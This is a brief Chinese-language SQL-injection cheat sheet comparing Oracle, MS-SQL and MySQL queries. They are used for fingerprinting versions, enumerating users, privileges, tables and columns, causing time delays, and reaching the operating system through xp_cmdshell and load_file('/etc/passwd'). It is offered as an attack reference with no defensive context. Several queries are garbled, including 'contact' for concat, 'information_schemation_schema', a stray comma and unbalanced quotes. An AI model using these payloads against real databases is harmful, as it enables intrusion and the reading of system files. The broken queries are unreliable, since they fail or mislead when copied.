1、sql语法：
oracle: ascii('A')=65 substr('abcde',2,3)=bcd
ms-sql: 同上 substring('abcde',2,3)=bcd
mysql: 同上
2、获取当前数据库用户：
oracle: select sys.login_user from dual
select user from dual
sys_context('userenv','session_user')
ms-sql: select suser_sname
mysql: select user()
3、引起时间延迟：
oracle: utl_http.request('http://aa.com')
ms-sql: waitfor delay '0:0:5' exec master..xp_cmdshell ‘ping localhost'
mysql: sleep(100)
4、获取数据库版本字串
oracle: select banner from v$version
ms-sql: select @@version
mysql: 同上
5、获取当前数据库：
oracle: select sys_context('userenv','db_name') from dual
ms-sql: select db_name()
select @@servername
mysql: select database()
6、获取当前用户权限：
oracle: select privilege from session_privs
ms-sql: select grantee,table_name,privilege_type from information_schema.table_privileges
mysql: select * from information_schema.user_privileges where grantee='[user]'
7、在一个单独的结果列中显示所有表
oracle: select table_name||'||column_name from all_tab_columns
ms-sql: select table_name+' ',column_name from information_schema.columns
mysql: select contact(table_name+' ',column_name) from information_schemation_schema.columns
8、显示用户对象：
oracle: select object_name,object_type from user_objects
ms-sql: select name from sysobjects
mysql: select table_name from information_schema.tables
9、显示用户表：
oracle: select object_name,object_type from user_objects where object_type='table'
select table_name from all_tables
ms-sql: select name from sysobjects where xtype='U'
mysql: select table_name from information_schema.tables where table_type='basetable' and table_schema!='mysql'
10、显示表foo的列名称：
oracle: select column_name name from user_tab_columns where table_name='foo'
ms-sql: select column_name,from information_schema.columns where table_name='foo'
mysql: select column_name from information_schema.columns where table_name='foo'
11、与OS交互：
oracle:
ms-sql: exec xp_cmdshell 'dir c:\'
mysql: select load_file('/etc/passwd')